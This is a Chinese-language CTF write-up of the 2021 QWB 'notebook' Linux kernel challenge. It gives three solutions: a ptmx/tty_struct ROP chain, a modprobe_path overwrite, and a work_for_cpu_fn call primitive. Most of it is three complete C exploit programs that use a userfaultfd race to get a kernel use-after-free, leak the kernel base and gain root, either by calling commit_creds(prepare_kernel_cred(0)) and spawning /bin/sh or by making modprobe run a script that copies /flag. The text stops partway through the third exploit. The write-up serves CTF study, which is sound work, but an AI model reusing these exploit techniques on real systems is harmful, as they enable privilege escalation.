# notebook 的多种解法

2021 QWB

这个题就是考锁没加好的多线程条件竞争

# 传统 ROP -ptmx

利用 realloc 指针延迟回写的效果 将 free 的块回写回控制区

造成对 tty struct 结构体的控制

然后泄漏 kernel base

并两段栈迁移 (测试过 一段迁移不行 会卡在一个地方)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
__int64 __fastcall noteedit(size_t idx, size_t newsize, void *buf)
{
__int64 v3; // rdx
__int64 v4; // r13
note *v5; // rbx
size_t size; // rax
__int64 v7; // r12
__int64 v8; // rbx

(···)

v4 = v3;
v5 = &notebook[idx];
raw_read_lock(&lock); [1] <<- 加了读锁
size = v5->size;// size是原size
v5->size = newsize;// 立刻改成了我们输入的新size
if ( size == newsize )
{
v8 = 1LL;
goto editout;
}
// 这里会把notefree 却没立刻置空
v7 = (*(__int64 (__fastcall **)(void *, size_t, __int64))krealloc.gap0)(v5->note, newsize, 37748928LL);
copy_from_user(name, v4, 256LL); [2] <<- 这里可以uffd
if ( !v5->size )
{
printk("free in fact");
v5->note = 0LL;
v8 = 0LL;
goto editout;
}
if ( (unsigned __int8)_virt_addr_valid(v7) )
{
v5->note = (void *)v7; [3] <<- 这里写回note
v8 = 2LL;
editout:
raw_read_unlock(&lock);
printk("[o] Edit success. %s edit a note.\n", name);
return v8;
}
printk("[x] Return ptr unvalid.\n");
raw_read_unlock(&lock);
return 3LL;
}

Pasted image 20220910152111

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
#include <stdio.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <errno.h>
#include <signal.h>
#include <sys/syscall.h>
#include <stdint.h>
#include <sys/prctl.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <assert.h>
#include "include/head.h"
#define PAGE_SIZE 1024
typedef uint64_t u64;
typedef uint32_t u32;

void uffd_register();
void *UFFD_handler(void *nil);
int uffd, note_fd;
uint64_t mod_base_addr, cookie ,kernel_base_addr;
uint64_t fault_page, fault_page_len;
uint64_t target, modprobe_path;

#define errExit(msg) { \
perror(msg); \
exit(1); \
}

typedef struct{
uint64_t idx;
uint64_t size;
uint64_t buf;
}userarg;
#define MAX_ELEM 0x100
enum{
SWAPGS_POP_RET, IRETQ, COMMIT_CREDS,
PREPARE_KERNEL_CRED,
SUB_RSP_RET ,PUSH_RDI_POP_RSP_POP_RET,
POP_RDI ,POP_RSP,
MOV_RDI_RAX_POP_RET,
TERMINATOR
};//PREPARE_KERNEL_CRED, COMMIT_CREDS, };
u64 a[MAX_ELEM];
//tty_struct结构体的大小
#define TTY_STRUCT_SIZE 0x2E0
//如果我们申请0x2E0的空间,slab分配的堆实际大小为0x400
#define REAL_HEAP_SIZE 0x400
#define RAW_KERNEL_BASE 0xffffffff81000000
int protect1[0x1000];
int ptmx_fds[0x100];// 测了我很久才发现这个b被不知道谁溢出了 加两个保护挡一下
int protect2[0x1000];
void init(){
a[SWAPGS_POP_RET] = 0xffffffff810637d4;
a[IRETQ] = 0xffffffff810338bb;
a[COMMIT_CREDS] = 0xffffffff810a9b40;
a[PREPARE_KERNEL_CRED] = 0xffffffff810a9ef0;
a[SUB_RSP_RET] = 0xffffffff8100354f;
a[PUSH_RDI_POP_RSP_POP_RET] = 0xffffffff8143f4e1;
a[POP_RDI] = 0xffffffff81007115;
a[POP_RSP] = 0xffffffff810bc110;
a[MOV_RDI_RAX_POP_RET] = 0xffffffff81045833;
}
void addKernelBase(){
for(int i = 0; i < TERMINATOR ;i++){
a[i] += kernel_base_addr - 0xffffffff81000000;
}
}
void getshell(){
Info("UID is %d", getuid());
if(getuid() == 0){
Done("Get shell");
system("/bin/sh");
}else{
Panic("Get shell failed");
}
}
u64 user_cs, user_ss, user_sp, user_flags;
void saveState(){
__asm__ (
"mov %cs, user_cs;"
"mov %ss, user_ss;"
"mov %rsp, user_sp;"
"pushf;"
"pop user_flags;"
);
Done("saveState");
}
void getRoot() {
void *(*pkc)(int) = (void *(*)(int))(a[PREPARE_KERNEL_CRED]);
void (*cc)(void *) = (void (*)(void *))(a[COMMIT_CREDS]);
(*cc)((*pkc)(NULL));
}

void add(size_t idx, size_t size, void *buf){
userarg arg;
arg.idx = (uint64_t)idx;
arg.size = (uint64_t)size;
arg.buf = (uint64_t)buf;
ioctl(note_fd, 0x100 ,&arg);
}
void del(size_t idx){
userarg arg;
arg.idx = (uint64_t)idx;
ioctl(note_fd, 0x200 ,&arg);
}
void edit(size_t idx, size_t newsize, char *buf){
userarg arg;
arg.idx = (uint64_t)idx;
arg.size = (uint64_t)newsize;
arg.buf = (uint64_t)buf;
ioctl(note_fd, 0x300, &arg);
}
void gift(char *buf){
userarg arg;
arg.buf = (uint64_t)buf;
ioctl(note_fd, 100, &arg);
}
void write_to_kernel(size_t idx, char *user_buf){
write(note_fd, user_buf, idx);// 逆向 mynote_read可以得到
}
void read_from_kernel(size_t idx, char *user_buf){
read(note_fd, user_buf, idx);
}
char *buf;

typedef struct{
void *buf;
u64 size;
}notebook;

notebook ntbk[10];
uint64_t heap[2];
uint64_t notebook_addr;
u64 fake_tty_struct[128];
u64 fake_tty_ops[128];
char zero[PAGE_SIZE] = {0};
int main(){
init();
saveState();

note_fd = open("/dev/notebook", O_RDWR);
Info("note_fd is %d",note_fd);
if(note_fd < 0) errExit("open");

buf = calloc(1, 0x100);// name的长度

FILE * stream = popen("cat /tmp/moduleaddr | awk '{print $6}'", "r");
assert(stream != NULL);
fread(buf, 0x10 + 2, 1 ,stream);
mod_base_addr = strtoul(buf, NULL, 16);
Info("moduleaddr is %lx", mod_base_addr);

fault_page = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
fault_page_len = 0x1000;
uffd_register();

add(0 ,0x60 ,zero);
edit(0 ,0x3ff ,zero);// 重新申请一个0x400的块
edit(0 ,0x400 ,fault_page);// 返回上一个原块的地址 写完size就卡住

getchar();
for(int i = 0; i < 0x30; i++){
Info("ptmx_fds[%d] is %d", i, ptmx_fds[i]);
ptmx_fds[i] = open("/dev/ptmx", O_RDWR|O_NOCTTY);
}

read_from_kernel(0, fake_tty_struct);
Info("fake_tty_struct's addr is 0x%lx", fake_tty_struct);
// 此时gdb看内存 可以看到相关泄漏的地址
kernel_base_addr = fake_tty_struct[3] - 0xe8e440;
Info("kernel base addr is 0x%lx", kernel_base_addr);
addKernelBase();
add(1, 0x60, zero);
edit(1, 0x100, zero);// ROP
add(2, 0x60, zero);// tty ops

gift(ntbk);
u64 tty_ops_addr = ntbk[2].buf;
u64 rop_addr = ntbk[1].buf;
Info("rop's addr is 0x%lx", rop_addr);
Info("tty_ops_addr's addr is 0x%lx", tty_ops_addr);

fake_tty_struct[3] = tty_ops_addr;
/*
0xffffffff8100354f sub rsp, 0xffffffffffffff80
0xffffffff81003553 pop rbx
0xffffffff81003554 pop rbp
0xffffffff81003555 ret
*/
fake_tty_struct[1] = a[SUB_RSP_RET];// rsp + 0x80 + pop * 2 = 18 * 8
fake_tty_struct[0x14] = a[POP_RSP];// 1 + 18 + 1 = 0x14
fake_tty_struct[0x15] = rop_addr;// 第二次栈迁移
Info("write_to_kernel(0, fake_tty_struct);");
write_to_kernel(0, fake_tty_struct);

// write operation , rdi is tty_struct's addr
/*
0xffffffff8143f4e1 push rdi
0xffffffff8143f4e2 pop rsp
0xffffffff8143f4e3 pop rbp
0xffffffff8143f4e4 or eax, edx
0xffffffff8143f4e6 ret
*/
fake_tty_ops[7] = a[PUSH_RDI_POP_RSP_POP_RET];

int i = 0;
u64 ROP[0x20];// 这个ROP是要写入内核的 不需要去打CR4关smep
ROP[i++] = a[POP_RDI];
ROP[i++] = 0;
ROP[i++] = a[PREPARE_KERNEL_CRED];// rax = prepare_kernel_cred(0)
ROP[i++] = a[MOV_RDI_RAX_POP_RET];// rdi = rax
ROP[i++] = 0;
ROP[i++] = a[COMMIT_CREDS];// commit_creds(rdi) get root
ROP[i++] = a[SWAPGS_POP_RET];
ROP[i++] = 0;
ROP[i++] = a[IRETQ];
ROP[i++] = (u64)getshell;
ROP[i++] = user_cs;
ROP[i++] = user_flags;
ROP[i++] = user_sp;
ROP[i++] = user_ss;
Info("write_to_kernel(1, ROP)");
write_to_kernel(1, ROP);
Info("write_to_kernel(2, fake_tty_ops)");
write_to_kernel(2, fake_tty_ops);

char tmp[] = "squsqusqusqu";

Info("Spray write ptmx start");
for(int i = 0; i < 0x30; i++){
// Dbg("fd is [%d]", ptmx_fds[i]);
write(ptmx_fds[i], tmp, 0x10);
}
Done("exploit");
exit(0);
}

void uffd_register(){
struct uffdio_api ua;// io operation api
struct uffdio_register ur;// io register
// find /usr/include -name unistd_64.h 2>/dev/null
uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
Dbg("uffd: %d", uffd);

ua.api = UFFD_API;
ua.features = 0;
if(ioctl(uffd, UFFDIO_API, &ua) == -1)
errExit("ioctl(uffd,UFFDIO_API,ua)");

ur.range.start = (long long unsigned int)fault_page;
ur.range.len = fault_page_len;
ur.mode = UFFDIO_REGISTER_MODE_MISSING;

if(ioctl(uffd, UFFDIO_REGISTER, &ur) == -1)
errExit("ioctl(uffd,UFFDIO_REGISTER,&ur)");

pthread_t thr;
// 注意这里没有-1 pthread create正常返回0
if(pthread_create(&thr, NULL, UFFD_handler ,NULL))
errExit("pthread_create");
Done("regitser");
}


void *UFFD_handler(void *nil){
Dbg("UFFD handler start");
struct uffd_msg msg;

while (1)
{
struct pollfd pollfd;
int nready = 0;
pollfd.fd = uffd;
pollfd.events = POLLIN ;
nready = poll(&pollfd, 1, -1);// block here
if(nready != 1)
errExit("poll");

{// user code modify area
edit(0, 0x500, zero);// 第一个edit free掉vuln chunk
edit(0, 0x400, zero);// 第二个edit 确保size不变
}

if(read(uffd, &msg, sizeof(msg)) != sizeof(msg))
errExit("read");
assert(msg.event == UFFD_EVENT_PAGEFAULT);

struct uffdio_copy uc;
uc.src = (unsigned long)zero;
uc.dst = (unsigned long)fault_page;
uc.len = fault_page_len;
uc.mode = 0;
ioctl(uffd, UFFDIO_COPY, &uc);
Done("ioctl done");
}
return NULL;
}

Pasted image 20220910222000

# modprobe

篡改 modprobe 执行特权指令

write 没加锁 轻而易举配合 uffd 写 uaf

一个是注意泄漏 cookie

另外一个就是链表结尾的异或表达式 (给 name 给你写就是方便伪造这个的)

  • 通过 gift 泄漏得到结构体 notebook 的地址信息 由于是 c 程序进行交互,所以有了 notebook 地址信息 就能通过指针任意读取内部的其他信息了 比如 cookie
  • 利用 setxattr 和 uffd 进行任意 uaf 劫持 篡改 notebook 通过 ko 中的 call 重定向泄漏内核基址
  • 另外一个指针劫持到 notebook 的地址 这样就能继续篡改 让其指向 modprobe_path
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
#include <stdio.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <errno.h>
#include <signal.h>
#include <sys/syscall.h>
#include <stdint.h>
#include <sys/prctl.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <assert.h>
#include "include/head.h"
#define PAGE_SIZE 1024

void uffd_register();
void *UFFD_handler(void *nil);
int uffd, note_fd;
uint64_t mod_base_addr, cookie ,kernel_base_addr;
uint64_t fault_page, fault_page_len;
uint64_t target, modprobe_path;

#define errExit(msg) do{perror(msg);exit(1);}while(0)

typedef struct{
uint64_t idx;
uint64_t size;
uint64_t buf;
}userarg;
void _add(size_t idx, size_t size, void *buf){
userarg arg;
arg.idx = (uint64_t)idx;
arg.size = (uint64_t)size;
arg.buf = (uint64_t)buf;
ioctl(note_fd, 0x100 ,&arg);
}
void _del(size_t idx){
userarg arg;
arg.idx = (uint64_t)idx;
ioctl(note_fd, 0x200 ,&arg);
}
void _edit(size_t idx, size_t newsize, char *buf){
userarg arg;
arg.idx = (uint64_t)idx;
arg.size = (uint64_t)newsize;
arg.buf = (uint64_t)buf;
ioctl(note_fd, 0x300, &arg);
}
void _gift(char *buf){
userarg arg;
arg.buf = (uint64_t)buf;
ioctl(note_fd, 100, &arg);
}
void write_to_kernel(size_t idx, char *user_buf){
write(note_fd, user_buf, idx);// 逆向 mynote_read可以得到
}
void read_from_kernel(size_t idx, char *user_buf){
read(note_fd, user_buf, idx);
}
char *buf;
uint64_t heap[2];
uint64_t notebook_addr;
char zero[PAGE_SIZE] = {0};
#define MAX_DATA_SIZE 0x1000000
int main(){
setvbuf(stdout, NULL, _IONBF, 0);
note_fd = open("/dev/notebook", O_RDWR);
if(note_fd < 0) errExit("open");
buf = calloc(1, 0x100);// name的长度

FILE * stream = popen("cat /tmp/moduleaddr | awk '{print $6}'", "r");
assert(stream != NULL);
fread(buf, 0x10 + 2, 1 ,stream);
mod_base_addr = strtoul(buf, NULL, 16);
Info("moduleaddr is %lx", mod_base_addr);

_add(0, 0x60 ,zero);// 0x60 is max size
_add(1, 0x60 ,zero);

_gift(buf);
Info("note[0] addr is 0x%lx", *(uint64_t *)buf);
Dbg("buf addr is 0x%lx", buf);

uint64_t *ptr = (uint64_t *)buf;
// 获得两个块在堆上的地址
heap[0] = ptr[0];
heap[1] = ptr[2];
Info("chunk[0] addr is 0x%lx, chunk[1] is 0x%lx",
heap[0], heap[1]
);
// 释放链表 0 -> 1 去获取cookie

_del(1);
_del(0);
_add(0, 0x60 ,zero);
_add(1, 0x60 ,zero);
// pause();
read_from_kernel(0, buf);
// Info("chunk[0]'s content is 0x%lx", ptr[0]);
/*
next = selfaddr ^ cookie ^ nextaddr
cookie = nextaddr ^ next ^ selfaddr
*/
cookie = heap[0] ^ heap[1] ^ ptr[0];
Info("Cookie is 0x%lx", cookie);
Dbg("So in this time next should be 0x%lx",
cookie ^ heap[0] ^ heap[1]
);

/* 到此为止 信息收集基本完成 开始 uffd条件竞争来uaf */
fault_page = (size_t)mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
fault_page_len = 0x1000;
uffd_register();
write_to_kernel(0, (char *)fault_page);// 此时卡住 让另外的线程去执行free

Info("Now free_list maybe look like following:");
Info(">> Chks->chunk[1]->chunk[0]->target <<");
_del(1);// chunk[1] -> chunk[0] -> target
// 这边最好不要有任何打印操作
// 这里至关重要 在notebook上面伪造 cookie ^ selfaddr 作为fd 表示这链表的结束
*(size_t *)(buf + 0xF0) = cookie ^ (mod_base_addr + 0x2500 - 0x10);
int i;
char *buf2 = calloc(1, 0x100);
for(i = 0; i < 0x10 ; i++){
Info("loop %d", i);
_add(i, 0x60, zero);
_gift(buf2);
uint64_t tmp = *(uint64_t *)(buf2 + i * 0x10);
if(heap[0] == tmp){
Info("Catch it, next is target");
break;
}
if( i == 0xF ){
Panic("Failure and exit");
}
}
Info("i is %d", i);
// 劫持 notebook结构体
_add(i + 1, 0x60, buf);
uint64_t PL[] = {
0, 0, // name field
mod_base_addr + 0x168, 0x4,// 泄漏重定位的位置
mod_base_addr + 0x2500, 0x60,
};
write_to_kernel(i + 1, PL);
read_from_kernel(0, buf);
Dbg("offset data is 0x%lx", *(uint32_t *)ptr);
uint64_t leak = mod_base_addr + 0x168 + 4 + *(uint32_t *)ptr;
Info("leak addr is 0x%lx", 0xffffffff00000000 | leak);
// kernel ffffffff81000000 0xffffffff81476c30
kernel_base_addr = ( 0xffffffff00000000 | leak ) - 0x476c30;
Info("Kernel base addr is 0x%lx", kernel_base_addr);
modprobe_path = kernel_base_addr + 0x125D2E0;

PL[0] = modprobe_path;
PL[1] = 0x10;
write_to_kernel(1, PL);
strcpy(buf, "/tmp/exp.sh");// 让modprobe执行的脚本
write_to_kernel(0, buf);

system("echo -e '#!/bin/sh\n"
"/bin/cp /flag /tmp/flag\n"
"/bin/chmod 777 /tmp/flag' > /tmp/exp.sh\n");
system("chmod +x /tmp/exp.sh");
system("echo -e '\\xff\\xff\\xff\\xff' > /tmp/dummy");
system("chmod +x /tmp/dummy");

system("/tmp/dummy");
close(note_fd);
close(uffd);
exit(0);
}

void uffd_register(){
struct uffdio_api ua;// io operation api
struct uffdio_register ur;// io register
// find /usr/include -name unistd_64.h 2>/dev/null
uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
Dbg("uffd: %d", uffd);

ua.api = UFFD_API;
ua.features = 0;
if(ioctl(uffd, UFFDIO_API, &ua) == -1)
errExit("ioctl(uffd,UFFDIO_API,ua)");

ur.range.start = (long long unsigned int)fault_page;
ur.range.len = fault_page_len;
ur.mode = UFFDIO_REGISTER_MODE_MISSING;

if(ioctl(uffd, UFFDIO_REGISTER, &ur) == -1)
errExit("ioctl(uffd,UFFDIO_REGISTER,&ur)");

pthread_t thr;
// 注意这里没有-1 pthread create正常返回0
if(pthread_create(&thr, NULL, UFFD_handler ,NULL))
errExit("pthread_create");
Dbg("regitser done");
}


void *UFFD_handler(void *nil){
Dbg("UFFD handler start");
Dbg("uffd %d", uffd);
struct uffd_msg msg;

struct pollfd pollfd;
int nready = 0;
pollfd.fd = uffd;
pollfd.events = POLLIN ;
nready = poll(&pollfd, 1, -1);// block here
if(nready != 1)
errExit("poll");

{
// put some code you want
_del(0);// 写没加锁 条件竞争让他free掉
}

if(read(uffd, &msg, sizeof(msg)) != sizeof(msg))
errExit("read");
assert(msg.event == UFFD_EVENT_PAGEFAULT);

struct uffdio_copy uc;
// (mod_base_addr + 0x2500) 是n
// 由于条件竞争 接下来的数据写是写到frotebook结构体所在的位置 我们要劫持过去 篡改指针
target = cookie ^ (mod_base_addr + 0x2500 - 0x10) ^ heap[0];
Info("target addr is 0x%lx", target);

uint64_t s[2] = {target, 0};
uc.src = (unsigned long)s;
uc.dst = (unsigned long)fault_page;
uc.len = fault_page_len;
uc.mode = 0;
ioctl(uffd, UFFDIO_COPY, &uc);
return NULL;
}

# 都什么版本了还在用传统 ROP - work_for_cpu_fun

1
2
3
4
5
6
7
8
9
10
11
struct work_for_cpu {
struct work_struct work;
long (*fn)(void *);
void *arg;
long ret;
};
static void work_for_cpu_fn(struct work_struct *work)
{
struct work_for_cpu *wfc = container_of(work, struct work_for_cpu, work);
wfc->ret = wfc->fn(wfc->arg);
}

我们把我们的 fake_tty_struct 假装成 work_for_cpu

劫持 opswork_for_cpu_fn

调用 operation 的时候正好把自己传入调用 而且非常非常干净 不篡改任何其他值

这就能实现一个单参函数调用的原语

两次原语即可 commit_creds(prepare_kernel_cred(0))

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
#include <stdio.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <errno.h>
#include <signal.h>
#include <sys/syscall.h>
#include <stdint.h>
#include <sys/prctl.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <assert.h>
#include "include/head.h"
#include <semaphore.h>
#define PAGE_SIZE 1024
typedef uint64_t u64;
typedef uint32_t u32;

void uffd_register();
void *UFFD_handler(void *nil);
int uffd, note_fd;
uint64_t mod_base_addr, cookie ,kernel_base_addr;
uint64_t fault_page, fault_page_len;
uint64_t target, modprobe_path;

#define errExit(msg) { \
perror(msg); \
exit(1); \
}

typedef struct{
uint64_t idx;
uint64_t size;
uint64_t buf;
}userarg;
#define MAX_ELEM 0x100
enum{
SWAPGS_POP_RET, IRETQ, COMMIT_CREDS,
PREPARE_KERNEL_CRED,
SUB_RSP_RET ,PUSH_RDI_POP_RSP_POP_RET,
POP_RDI ,POP_RSP,
MOV_RDI_RAX_POP_RET,
TERMINATOR
};//PREPARE_KERNEL_CRED, COMMIT_CREDS, };
u64 a[MAX_ELEM];
//tty_struct结构体的大小
#define TTY_STRUCT_SIZE 0x2E0
//如果我们申请0x2E0的空间,slab分配的堆实际大小为0x400
#define REAL_HEAP_SIZE 0x400
#define RAW_KERNEL_BASE 0xffffffff81000000
int protect1[0x1000];
int ptmx_fds[0x100];// 测了我很久才发现这个b被不知道谁溢出了 加两个保护挡一下
int protect2[0x1000];
void init(){
a[SWAPGS_POP_RET] = 0xffffffff810637d4;
a[IRETQ] = 0xffffffff810338bb;
a[COMMIT_CREDS] = 0xffffffff810a9b40;
a[PREPARE_KERNEL_CRED] = 0xffffffff810a9ef0;
a[SUB_RSP_RET] = 0xffffffff8100354f;
a[PUSH_RDI_POP_RSP_POP_RET] = 0xffffffff8143f4e1;
a[POP_RDI] = 0xffffffff81007115;
a[POP_RSP] = 0xffffffff810bc110;
a[MOV_RDI_RAX_POP_RET] = 0xffffffff81045833;
}
u64 work_for_cpu_fn = 0xffffffff8109eb90;
void addKernelBase(){
for(int i = 0; i < TERMINATOR ;i++){
a[i] += kernel_base_addr - 0xffffffff81000000;
}
}
void getshell(){
Info("UID is %d", getuid());
if(getuid() == 0){
Done("Get shell");
system("/bin/sh");
}else{
Panic("Get shell failed");
}
}
u64 user_cs, user_ss, user_sp, user_flags;
void saveState(){
__asm__ (
"mov %cs, user_cs;"
"mov %ss, user_ss;"
"mov %rsp, user_sp;"
"pushf;"
"pop user_flags;"
);
Done("saveState");
}
void getRoot() {
void *(*pkc)(int) = (void *(*)(int))(a[PREPARE_KERNEL_CRED]);
void (*cc)(void *) = (void (*)(void *))(a[COMMIT_CREDS]);
(*cc)((*pkc)(NULL));
}

void add(size_t idx, size_t size, void *buf){
userarg arg;
arg.idx = (uint64_t)idx;
arg.size = (uint64_t)size;
arg.buf = (uint64_t)buf;
ioctl(note_fd, 0x100 ,&arg);
}
void del(size_t idx){
userarg arg;
arg.idx = (uint64_t)idx;
ioctl(note_fd, 0x200 ,&arg);
}
void edit(size_t idx, size_t newsize, char *buf){
userarg arg;
arg.idx = (uint64_t)idx;
arg.size = (uint64_t)newsize;
arg.buf = (uint64_t)buf;
ioctl(note_fd, 0x300, &arg);
}
void gift(char *buf){
userarg arg;
arg.buf = (uint64_t)buf;
ioctl(note_fd, 100, &arg);
}
void write_to_kernel(size_t idx, char *user_buf){
write(note_fd, user_buf, idx);// 逆向 mynote_read可以得到
}
void read_from_kernel(size_t idx, char *user_buf){
read(note_fd, user_buf, idx);
}

char *buf;

typedef struct{
void *buf;
u64 size;
}notebook;

notebook ntbk[10];
uint64_t heap[2];
uint64_t notebook_addr;
u64 fake_tty_struct[128];
u64 fake_tty_ops[128];
char zero[PAGE_SIZE] = {0};
struct work_struct {
u64 a[4];
};
struct work_for_cpu {
struct work_struct work;
long (*fn)(void *);
void *arg;
long ret;
};

int main(){
init();
saveState();
note_fd = open("/dev/notebook", O_RDWR);
Info("note_fd is %d",note_fd);
if(note_fd < 0) errExit("open");

buf = calloc(1, 0x100);// name的长度

FILE * stream = popen("cat /tmp/moduleaddr | awk '{print $6}'", "r");
assert(stream != NULL);
fread(buf, 0x10 + 2, 1 ,stream);
mod_base_addr = strtoul(buf, NULL, 16);
Info("moduleaddr is %lx", mod_base_addr);

fault_page = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
fault_page_len = 0x1000;
uffd_register();

add(0 ,0x60 ,zero);
edit(0 ,0x3ff ,zero);// 重新申请一个0x400的块
edit(0 ,0x400 ,fault_page);// 返回上一个原块的地址 写完size就卡住

getchar();// 等待线程完成它的工作
for(int i = 0; i < 0x30; i++){
// Info("ptmx_fds[%d] is %d", i, ptmx_fds[i]);
ptmx_fds[i] = open("/dev/ptmx", O_RDWR | O_NOCTTY);
}

read_from_kernel(0, fake_tty_struct);
//验证魔数
if(fake_tty_struct[0] != 0x0000000100005401)
Panic("Magic number error, abort");
Info("fake_tty_struct's addr is 0x%lx", fake_tty_struct);
// 此时gdb看内存 可以看到相关泄漏的地址
u64 ptm_unix98_ops_addr = fake_tty_struct[3];
if ((ptm_unix98_ops_addr & 0xFFF) == 0x320) ptm_unix98_ops_addr += 0x120;

kernel_base_addr = ptm_unix98_ops_addr - 0xe8e440;
Info("kernel base addr is 0x%lx", kernel_base_addr);
addKernelBase();

add(1, 0x60, zero);
edit(1 ,0x400 ,zero);

gift(ntbk);
fake_tty_struct[3] = ntbk[1].buf;// ops's addr
fake_tty_struct[4] = a[PREPARE_KERNEL_CRED];
fake_tty_struct[5] = NULL;
fake_tty_struct[6] = 0;

fake_tty_ops[12] = work_for_cpu_fn;

write_to_kernel(0, fake_tty_struct);
write_to_kernel(1, fake_tty_ops);

Info("prepare kernel cred...");
for(int i = 0; i < 0x30; i++)
ioctl(ptmx_fds[i], 111, 111);

Done("prepare");

Info("work_for_cpu_fn return 0x%lx", fake_tty_struct[6]);
read_from_kernel(0, fake_tty_struct);
fake_tty_struct[3] = ntbk[1].buf;// ops's addr
fake_tty_struct[4] = a[COMMIT_CREDS];
fake_tty_struct[5] = fake_tty_struct[6];
write_to_kernel(0, fake_tty_struct);

Info("commit creds...");
for(int i = 0; i < 0x30; i++)
ioctl(ptmx_fds[i], 233, 233);

Done("commit");

getshell();
exit(0);
}

void uffd_register(){
struct uffdio_api ua;// io operation api
struct uffdio_register ur;// io register
// find /usr/include -name unistd_64.h 2>/dev/null
uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
Dbg("uffd: %d", uffd);

ua.api = UFFD_API;
ua.features = 0;
if(ioctl(uffd, UFFDIO_API, &ua) == -1)
errExit("ioctl(uffd,UFFDIO_API,ua)");

ur.range.start = (long long unsigned int)fault_page;
ur.range.len = fault_page_len;
ur.mode = UFFDIO_REGISTER_MODE_MISSING;

if(ioctl(uffd, UFFDIO_REGISTER, &ur) == -1)
errExit("ioctl(uffd,UFFDIO_REGISTER,&ur)");

pthread_t thr;
// 注意这里没有-1 pthread create正常返回0
if(pthread_create(&thr, NULL, UFFD_handler ,NULL))
errExit("pthread_create");
Done("regitser");
}


void *UFFD_handler(void *nil){
Dbg("UFFD handler start");
struct uffd_msg msg;

while (1)
{
struct pollfd pollfd;
int nready = 0;
pollfd.fd = uffd;
pollfd.events = POLLIN ;
nready = poll(&pollfd, 1, -1);// block here
if(nready != 1)
errExit("poll");

{// user code modify area
edit(0, 0x500, zero);// 第一个edit free掉vuln chunk
